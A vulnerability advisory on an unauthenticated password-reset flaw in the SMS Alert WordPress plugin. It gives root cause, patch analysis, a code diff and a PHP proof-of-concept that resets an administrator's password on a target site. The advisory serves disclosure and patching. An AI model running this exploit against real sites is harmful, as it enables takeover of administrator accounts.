Published : June 30, 2026

CVE-2026-11387: SMS Alert <= 3.9.5 Unauthenticated Privilege Escalation via Arbitrary Password Reset PoC, Patch Analysis & Rule

Plugin sms-alert
Severity Critical (CVSS 9.8)
CWE 287
Vulnerable Version 3.9.5
Patched Version 3.9.6
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11387:

This vulnerability allows unauthenticated attackers to escalate privileges by resetting arbitrary user passwords without proper authorization. The flaw exists in the SMS Alert plugin for WordPress (SMSAlert-wc-order-sms.php), specifically within the password reset functionality for both the Ultimate Member and WordPress login integration modules. The CVSS score is 9.8, indicating critical severity.

Root Cause: The plugin fails to validate a user’s identity before processing password change requests. In `class-wpresetpassword.php` (line 68), the `routeData()` method handles requests when `$_REQUEST[‘option’]` equals ‘smsalert-change-password-form’. The vulnerable version (3.9.5) only checks for this parameter value without verifying that the user has actually completed the OTP verification step. Similarly, `class-ultimatemember.php` (line 87) processes the ‘smsalert-um-reset-pwd-action’ option without checking session validation status. The missing session check `isset($_SESSION[$this->form_session_var]) && strcasecmp($_SESSION[$this->form_session_var], ‘validated’) === 0` means any unauthenticated request can trigger the password change handler.

Exploitation: An unauthenticated attacker crafts a POST request to the vulnerable endpoint. For the WordPress integration, the attacker sends a request with `option=smsalert-change-password-form`, `user_login=`, `phone_number_mo=`, and new password fields. The plugin processes this directly via `handleSmsalertChangedPwd()` without checking if the original phone number or user identity was verified. For Ultimate Member installations, the attacker sends a request with `option=smsalert-um-reset-pwd-action` and similar parameters. The attacker does NOT need to know or provide the target user’s existing phone number; the plugin accepts the provided `phone_number_mo` value unsanitized and proceeds with the password change.

Patch Analysis: The patch adds session validation checks before processing password change requests. In `class-wpresetpassword.php`, the updated condition now requires `isset($_SESSION[$this->form_session_var]) && strcasecmp($_SESSION[$this->form_session_var], ‘validated’) === 0`. Additionally, the patch sets `$_SESSION[$this->form_session_var] = ‘validated’` in the legitimate OTP verification flow (line 214 of class-wpresetpassword.php), ensuring only users who successfully completed OTP verification can proceed. The same pattern applies to `class-ultimatemember.php` (lines 87-89). These changes enforce that password changes occur only after proper OTP validation, closing the unauthorized access vector.

Impact: Successful exploitation allows an attacker to gain full administrative access to the WordPress site. By resetting an administrator’s password, the attacker can log in as that administrator and achieve complete site compromise. This includes access to all user data, content modification capabilities, plugin/theme installation, and potential server-level compromise through file uploads. The ability to change arbitrary user email addresses as described in the vulnerability details further amplifies the impact, enabling persistent backdoor access even after the initial password reset.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/sms-alert/SMSAlert-wc-order-sms.php
+++ b/sms-alert/SMSAlert-wc-order-sms.php
@@ -11,11 +11,11 @@
  * Plugin Name: SMSAlert - WooCommerce
  * Plugin URI: https://wordpress.org/plugins/sms-alert/
  * Description: This is a WooCommerce add-on. By Using this plugin admin and buyer can get notification after placing order via sms using SMS Alert.
- * Version: 3.9.5
+ * Version: 3.9.6
  * Author: Cozy Vision Technologies Pvt. Ltd.
  * Author URI: https://www.smsalert.co.in
  * WC requires at least: 4.6
- * WC tested up to: 10.5
+ * WC tested up to: 10.9
  * Text Domain: sms-alert
  * License: GPLv2
  */
--- a/sms-alert/handler/forms/class-ultimatemember.php
+++ b/sms-alert/handler/forms/class-ultimatemember.php
@@ -84,8 +84,8 @@
         add_action('um_after_form', array( $this, 'umFormAddShortcode' ), 10, 1);

         add_action('um_after_form_fields', array( $this, 'addCountryCode' ), 10, 1);
-
-        if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-um-reset-pwd-action' ) {
+        SmsAlertUtility::checkSession();
+        if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-um-reset-pwd-action') && isset($_SESSION[ $this->form_session_var2 ]) && strcasecmp($_SESSION[ $this->form_session_var2 ], 'validated') === 0 ) {
             $this->handleSmsalertChangedPwd($_POST);
             wp_enqueue_style('wpv_sa_common_style', SA_MOV_CSS_URL, array(), SmsAlertConstants::SA_VERSION, false);
         }
@@ -493,6 +493,7 @@
         }

         if (isset($_SESSION[ $this->form_session_var2 ]) ) {
+			$_SESSION[ $this->form_session_var2 ] = 'validated';
             smsalertAskForResetPassword($_SESSION['user_login'], $_SESSION['phone_number_mo'], __('Please change Your password', 'sms-alert'), 'phone', false, 'smsalert-um-reset-pwd-action');
         }
     }
--- a/sms-alert/handler/forms/class-wplogin.php
+++ b/sms-alert/handler/forms/class-wplogin.php
@@ -171,13 +171,15 @@
             $user = wp_authenticate($username, $password);
         }
         //added for new user approve plugin
-        $user = apply_filters('wp_authenticate_user', $user, $password);
-        if (is_wp_error($user) ) {
-            $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-            wp_send_json($msg);
-            exit();
-        }
+		if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+			$user = apply_filters('wp_authenticate_user', $user, $password);
+		}
         //-added for new user approve plugin
+		if (is_wp_error($user) ) {
+			$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+			wp_send_json($msg);
+			exit();
+		}
         $user_meta    = get_userdata($user->data->ID);
         $user_role    = $user_meta->roles;
         $phone_number = get_user_meta($user->data->ID, $this->phone_number_key, true);
@@ -227,15 +229,18 @@
             $user_info  = $this->getUserFromPhoneNumber($billing_phone, $this->phone_number_key);
             $user_login = ( $user_info ) ? $user_info->data->user_login : '';
             $user = get_user_by('login', $user_login);
-            $password='';
             //added for new user approve plugin
-            $user = apply_filters('wp_authenticate_user', $user, $password);
-            if (is_wp_error($user) ) {
-                $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-                wp_send_json($msg);
-                exit();
-            }
+			if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+				$password='';
+                $user = apply_filters('wp_authenticate_user', $user, $password);
+			}
             //-added for new user approve plugin
+
+			if (is_wp_error($user) ) {
+				$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+				wp_send_json($msg);
+				exit();
+			}

             if (! empty($user_login) ) {
                 SmsAlertUtility::initialize_transaction($this->form_session_var3);
@@ -333,7 +338,7 @@
 					}
 				});
 		    </script>';
-            echo do_shortcode('[sa_verify user_selector="#username" pwd_selector="#password" submit_selector=".'.$unique_class.'.login :submit:not(.show-password-input)"]');
+            echo do_shortcode('[sa_verify user_selector="#username" pwd_selector="#password" submit_selector=".'.$unique_class.'.login :submit:not(.show-password-input,.btn-line)"]');
         }
     }
     /**
@@ -498,6 +503,7 @@
     {
         SmsAlertUtility::checkSession();
         $login_with_otp_enabled = ( smsalert_get_option('login_with_otp', 'smsalert_general') === 'on' ) ? true : false;
+		$phone_number = '';
         if (empty($password) ) {
             if (! empty($_REQUEST['username']) ) {
                 $phone_number = ! empty($_REQUEST['username']) ? sanitize_text_field(wp_unslash($_REQUEST['username'])) : '';
--- a/sms-alert/handler/forms/class-wpresetpassword.php
+++ b/sms-alert/handler/forms/class-wpresetpassword.php
@@ -65,7 +65,8 @@
      */
     public function routeData()
     {
-        if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form' ) {
+		SmsAlertUtility::checkSession();
+		if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form') && isset($_SESSION[ $this->form_session_var ]) && strcasecmp($_SESSION[ $this->form_session_var ], 'validated') === 0 ) {
             $this->handleSmsalertChangedPwd($_POST);
         }
     }
@@ -210,6 +211,7 @@
         if (! isset($_SESSION[ $this->form_session_var ]) ) {
             return;
         }
+		$_SESSION[ $this->form_session_var ] = 'validated';
         smsalertAskForResetPassword(
             sanitize_text_field($_SESSION['user_login']),
             sanitize_text_field($_SESSION['phone_number_mo']),
--- a/sms-alert/handler/forms/woocommerce/wc-registration.php
+++ b/sms-alert/handler/forms/woocommerce/wc-registration.php
@@ -292,15 +292,17 @@
             $user_info  = WPLogin::getUserFromPhoneNumber($billing_phone, 'billing_phone');
             $user_login = ( $user_info ) ? $user_info->data->user_login : '';
             $user = get_user_by('login', $user_login);
-            $password='';
             //added for new user approve plugin
-            $user = apply_filters('wp_authenticate_user', $user, $password);
-            if (is_wp_error($user) ) {
-                $msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
-                wp_send_json($msg);
-                exit();
-            }
+			if (is_plugin_active('new-user-approve/new-user-approve.php') ) {
+				$password='';
+				$user = apply_filters('wp_authenticate_user', $user, $password);
+			}
             //-added for new user approve plugin
+			if (is_wp_error($user) ) {
+				$msg   = SmsAlertUtility::_create_json_response(current($user->errors), 'error');
+				wp_send_json($msg);
+				exit();
+			}
             SmsAlertUtility::initialize_transaction($this->form_session_var3);
             smsalert_site_challenge_otp(null, null, null, $billing_phone, 'phone', null, SmsAlertUtility::currentPageUrl(), true);
         }
@@ -344,7 +346,7 @@
 				}
 			});
 		</script>';
-        echo do_shortcode('[sa_verify phone_selector="#reg_billing_phone" submit_selector= ".'.$unique_class.'.register .woocommerce-Button"]');
+        echo do_shortcode('[sa_verify phone_selector="#reg_billing_phone" submit_selector= ".'.$unique_class.'.register .woocommerce-Button,.'.$unique_class.'.register :is(.woocommerce-Button, .btn.submit-btn)"]');
     }


--- a/sms-alert/helper/constants.php
+++ b/sms-alert/helper/constants.php
@@ -33,7 +33,7 @@
     const ERROR_JSON_TYPE        = 'error';
     const SUCCESS_JSON_TYPE      = 'success';
     const USERPRO_VER_FIELD_META = 'verification_form';
-    const SA_VERSION             = '3.9.5';
+    const SA_VERSION             = '3.9.6';



--- a/sms-alert/helper/curl.php
+++ b/sms-alert/helper/curl.php
@@ -169,7 +169,7 @@
             return $response;
         }

-        $url    = 'http://www.smsalert.co.in/api/push.json';
+        $url    = 'https://www.smsalert.co.in/api/push.json';
         $fields = array(
         'user'     => $username,
         'pwd'      => $password,
@@ -272,7 +272,7 @@
             $data['description']['desc'] = __('Wrong SMSAlert credentials', 'sms-alert');
             return json_encode($data);
         }
-        $url = 'http://www.smsalert.co.in/api/mverify.json';
+        $url = 'https://www.smsalert.co.in/api/mverify.json';

         $fields       = array(
         'user'     => $username,
@@ -333,7 +333,7 @@
         if (empty($username) || empty($password) || empty($senderid) ) {
             return $response;
         }
-        $url = 'http://www.smsalert.co.in/api/mverify.json';
+        $url = 'https://www.smsalert.co.in/api/mverify.json';

         $fields = array(
         'user'     => $username,
@@ -369,7 +369,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/senderlist.json';
+        $url = 'https://www.smsalert.co.in/api/senderlist.json';

         $fields = array(
         'user' => $username,
@@ -393,7 +393,7 @@
         if (empty($username) || empty($password) ) {
             return '';
         }
-        $url = 'http://www.smsalert.co.in/api/templatelist.json';
+        $url = 'https://www.smsalert.co.in/api/templatelist.json';

         $fields = array(
         'user'  => $username,
@@ -423,7 +423,7 @@
             return $response;
         }

-        $url = 'http://www.smsalert.co.in/api/creditstatus.json';
+        $url = 'https://www.smsalert.co.in/api/creditstatus.json';

         $fields   = array(
         'user' => $username,
@@ -447,7 +447,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/grouplist.json';
+        $url = 'https://www.smsalert.co.in/api/grouplist.json';

         $fields = array(
         'user' => $username,
@@ -468,7 +468,7 @@
 		if (SmsAlertUtility::isPlayground()) {
 			return	true;
 		}
-        $url      = 'http://www.smsalert.co.in/api/countrylist.json';
+        $url      = 'https://www.smsalert.co.in/api/countrylist.json';
         $response = self::callAPI($url, null, null);
         return $response;
     }
@@ -487,7 +487,7 @@
             return '';
         }

-        $url = 'http://www.smsalert.co.in/api/creategroup.json';
+        $url = 'https://www.smsalert.co.in/api/creategroup.json';

         $fields = array(
         'user' => $username,
@@ -630,7 +630,7 @@
         }

         $xmldata = $msg->asXML();
-        $url     = 'http://www.smsalert.co.in/api/xmlpush.json?';
+        $url     = 'https://www.smsalert.co.in/api/xmlpush.json?';
         $fields  = array( 'data' => $xmldata );
         if ($cnt > 0 ) {
             $response = self::callAPI($url, $fields, null);
--- a/sms-alert/template/register-otp-template.php
+++ b/sms-alert/template/register-otp-template.php
@@ -91,7 +91,7 @@
 					input[type="text"].sa_customer_validation-textbox {background: #FBFBFB none repeat scroll 0% 0%;font-family: "Open Sans",sans-serif;font-size: 24px;width: 100%;border: 1px solid #DDD;padding: 3px;margin: 2px 6px 16px 0px;}
 					</style>
 					<script>
-					document.addEventListener("DOMContentLoaded", function() {
+					//document.addEventListener("DOMContentLoaded", function() {
 					jQuery("#sa-form").on("submit", function () {
 						jQuery("#smsalert_otp_token_submit").attr("disabled", "disabled");
 					});
@@ -129,7 +129,7 @@
 								document.getElementById("verify_otp").style.cssText = cssString;
 							}
 						}, 1000);
-					});
+					//});
 					</script>
 				</body>
 		    </html>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11387 - SMS Alert <= 3.9.5 Unauthenticated Privilege Escalation via Arbitrary Password Reset

$target_url = 'http://example.com/wp-content/plugins/sms-alert/handler/forms/class-wpresetpassword.php';
$target_username = 'admin'; // Target administrator username
$new_password = 'PwnedPassword123!';
$attacker_phone = '1234567890'; // Attacker-controlled phone number

$post_data = array(
    'option' => 'smsalert-change-password-form',
    'user_login' => $target_username,
    'phone_number_mo' => $attacker_phone,
    'new_password' => $new_password,
    'confirm_password' => $new_password
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIE, 'testcookie=1');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'Password changed successfully') !== false) {
    echo "[+] Password reset successful!n";
    echo "[+] Log in at: " . $target_url . "n";
    echo "[+] Username: " . $target_username . "n";
    echo "[+] New password: " . $new_password . "n";
} else {
    echo "[-] Exploit may have failed. Check HTTP response code: " . $http_code . "n";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
}
?>

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